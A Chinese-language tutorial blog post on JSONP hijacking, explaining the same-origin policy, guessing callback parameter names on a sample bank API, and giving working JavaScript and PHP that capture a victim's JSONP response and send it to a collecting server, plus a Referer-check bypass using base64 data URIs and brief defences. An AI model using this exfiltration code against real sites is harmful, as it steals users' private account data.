JSONP利用

本文涉及的产品
.cn 域名,1个 12个月
简介: 参考文献:https://segmentfault.com/a/1190000009577990http://www.codesec.net/view/172245.

参考文献:https://segmentfault.com/a/1190000009577990
http://www.codesec.net/view/172245.html
http://www.freebuf.com/articles/web/126347.html

https://www.jianshu.com:80/writer
https:协议; www:子域名; jianshu主域名; 80:端口号;
跨域:用户对不同协议或不同域名或不同端口号的资源进行访问

同源策略规定:XHR对象(ajax功能实现所依赖的对象)只能访问与包含它的页面位于同一域中的资源,有利于预防一些恶意行为。
同源:即同一域,即相同协议&相同端口&相同域名&相同子域名
XHR对象:XMLHttpRequest 对象提供了对 HTTP 协议的完全的访问,包括 POST ,HEAD,GET。XHR 可以同步或异步地返回 Web 服务器的响应,并且能够以文本或者一个 DOM 文档的形式返回内容。XHR接口强制要求每个请求都具备严格的HTTP语义–应用提供数据和URL,浏览器格式化请求并管理每个连接的完整生命周期,所以XHR仅仅允许应用自定义一些HTTP首部,但更多的首部是不能自己设定的

在HTML语言中,不受同源策略的限制的标签:

<script>
<img>
<iframe>
<link>

JSONP解决跨域问题:
JSONP不能访问非本域的动态资源,但是类似js文件、样式、图片等静态资源是可以访问的,通过这个"漏洞"来解决跨域问题。用<script>标签中的src来写入跨域数据的url,这样就能绕过同源策略了。
JSONP常用于服务器与客户端跨源通信,JSONP只支持GET请求,不支持POST请求,JSONP基本语法:

callback({ "name": "kwan" , "msg": "获取成功" });

JSONP两部分组成:回调函数和里面的数据。回调函数是当响应到来时,应该在页面中调用的函数,一般是在发送过去的请求中指定。
JSONP原理:动态插入带有跨域url的<script>标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。

利用场景
①在响应中回调函数被硬编码

  • 基础函数调用
  • 对象方法调用
    ②动态调用回调函数
  • URL完全可控(GET变量):回调函数在URL中指定,我们可以完全控制它。
  • URL部分可控(GET变量),但是附加有一个数字,每个会话都不同
  • URL可控,但最初不会显示在请求之中

最后一个场景涉及一个没有回调的API调用,因此没有可见的JSONP。 这可能发生在开发人员,为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。 因此,当看到没有回调的API调用时,特别是如果JSON格式的数据已经在括号之间,手动添加回调到请求。

如果有以下API调用verysecurebank.ro/getAccountTransactions,我们可以尝试去猜猜回调函数的变量

verysecurebank.ro/getAccountTransactions?callback=test
verysecurebank.ro/getAccountTransactions?cb=test

其他的常见的函数回调名还有func、function、call、jsonp、jsonpcallback,jcb

基础数据抓取
将数据抓取回我们本地。以下为一个简单的JSONP数据抓取:

<script>
function test(data){
    var xmlhttp = new XMLHttpRequest();
    var url = "http://127.0.0.1/1.php?data=" + JSON.stringify(data);//data是一个对象,所以用JSON.stringify
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
    }
</script>
<script src="http://verysecurebank.ro/getAccountTransactions?callback=test"></script>

1.php内容

<?php
$data=$_GET['data'];
$f=fopen('data.txt','a');
fwrite($f,$data);
fclose($f);
?>

如果在响应头API请求头配置:

Content-type: application/json;charset=utf-8
X-Content-Type-Options:nosniff;

Console输出如下:


img_f0f8f00a2decf4b75e89930e41e0436a.png
1.png

在响应中API请求头X-Content-Type-Options被设置为nosniffContent-Type必须设置为JavaScript(text/javascript, application/javascript, text/ecmascript等.)才能在所有浏览器中运行.

Referer检测绕过
使用data URI方案
如果这里有一个Referer检测,为了绕过检测我们可以选择不发送。可以引用Data URI。
构造一个不带HTTP Referer的请求,可以滥用data URI方案。因为我们正在处理的代码包含了引号,双引号,以及其他一些被阻止的语句,接着使用base64编码我们的payload(回调函数定义以及脚本包含)
data:text/plain;base64our_base64_encoded_code

防止jsonp hacking
最直接最有效的方法便是CORS

完全移除JSONP函数
向API响应添加Access-Control-Allow-Origin header
使用跨域AJAX请求
添加Token
目录
相关文章
|
1月前
|
JSON 安全 前端开发
JSONP 存在的意义是什么?
【10月更文挑战第30天】JSONP在早期跨域需求、兼容性、简单性以及特定的跨域场景和系统集成等方面都有其独特的价值和意义。虽然随着技术的发展,CORS等更先进的跨域解决方案逐渐成为主流,但JSONP在一些特定的项目和场景中仍然可能会被使用到。
|
5月前
|
前端开发 JavaScript API
js【详解】ajax (含XMLHttpRequest、 同源策略、跨域、JSONP)
js【详解】ajax (含XMLHttpRequest、 同源策略、跨域、JSONP)
60 0
|
缓存 JSON 前端开发
Ajax:跨域与JSONP
Ajax:跨域与JSONP
85 1
|
JSON JavaScript 前端开发
jsonp是什么
jsonp是什么
79 0
|
JSON 安全 JavaScript
跨域访问(JSONP)
跨域访问(JSONP)
152 0
跨域访问(JSONP)
|
前端开发
利用jsonp解决跨域问题
这篇文章给大家分享的是利用jsonp解决跨域问题。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。
101 0
|
JSON 缓存 JavaScript
JSONP - 跨域篇
JSONP - 跨域篇
253 0
JSONP - 跨域篇
|
JSON JavaScript 前端开发
ajax实现JSONP跨域
简单的说,出于安全方面的考虑,页面中的JavaScript无法访问其他服务器上的数据,即“同源策略”。而跨域就是通过某些手段来绕过同源策略限制,实现不同服务器之间通信的效果
3525 0
|
JSON JavaScript 前端开发
使用JSONP实现跨域
什么是跨域? 简单的来说,出于安全方面的考虑,页面中的JavaScript无法访问其他服务器上的数据,即“同源策略”。而跨域就是通过某些手段来绕过同源策略限制,实现不同服务器之间通信的效果。 什么是JSONP? JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式,JSONP 是 JSON with padding(填充式 JSON 或参数式 JSON)的简写。
1582 0